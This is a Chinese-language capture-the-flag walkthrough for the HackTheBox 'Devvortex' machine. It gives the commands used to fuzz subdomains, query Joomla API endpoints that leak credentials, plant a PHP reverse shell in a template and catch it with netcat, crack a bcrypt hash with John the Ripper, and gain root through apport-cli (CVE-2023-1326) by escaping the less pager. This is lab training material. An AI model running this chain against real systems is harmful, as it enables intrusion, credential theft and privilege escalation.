HackTheBox Devvortex 演练,涵盖子域模糊测试、Joomla API 枚举、基于模板的 Web Shell、bcrypt 哈希破解以及 Apport-CLI CVE-2023-1326 权限提升。
一份全面的技术演练,详细描述了攻破 HackTheBox 上 Devvortex 机器的过程。此路径演示了 子域名模糊测试、Joomla API 枚举、用于初始访问的 模板修改、用于横向移动的 数据库哈希提取与破解,以及利用 Apport-CLI (CVE-2023-1326) 提权至 root。
devvortex.htbdev.devvortex.htbapport-cli)。首先对所有端口进行了快速的 TCP 端口发现:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
随后针对已识别的开放端口执行了服务与版本检测扫描:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
将目标基础域名添加到本地主机名解析表中:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
对虚拟主机进行模糊测试以识别额外的 Web 资产:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
结果: 发现了 dev.devvortex.htb。已将 dev.devvortex.htb 添加到 /etc/hosts。
对新发现的虚拟主机进行路由枚举:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
结果: 发现了 /administrator 端点,暴露了一个 Joomla 管理员认证门户。
探测 Joomla REST API 暴露的公共端点,以收集敏感的应用程序指标和用户信息:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
使用枚举过程中发现的凭据,登录 Joomla /administrator 门户:
导航至 System > Site Templates。
选择活动模板并打开 error.php。
将 error.php 的内容替换为标准的 PHP 反向 shell 载荷。
在本地初始化 netcat 监听器:
Bash
nc -lvnp 4444
通过请求一个不存在的页面或直接访问该文件来触发 error.php 的执行。
当 shell 以 www-data 身份连接后,生成一个交互式 PTY 会话:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
使用从 Web 配置文件中获取的凭据访问本地 MySQL 数据库:
Bash
mysql -u lewis -p
查询用户表以定位存储的凭据哈希:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
将用户 logan 的 bcrypt 密码哈希提取到本地文件:
Bash
nano hash.txt
使用 John the Ripper 配合 rockyou.txt 破解哈希:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
使用破解的凭据以用户 logan 身份建立持久 SSH 会话:
Bash
Bash
cat user.txt
检查 logan 用户被允许执行的二进制文件:
Bash
sudo -l
输出: 用户可能以 root 身份运行 /usr/bin/apport-cli。
检查已安装的 apport-cli 版本:
Bash
apport-cli --version
检查 /var/crash 中是否存在报告文件。如果为空,则手动构造一个崩溃文件:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
使用 sudo 针对构造的崩溃文件启动 apport-cli:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
按 v 键 查看报告。
当分页器 (less) 加载内容时,输入以下命令逃逸到系统 shell:
Plaintext
!/bin/bash
验证 root 提权:
Bash
whoami
# Output: root
Bash
cat /root/root.txt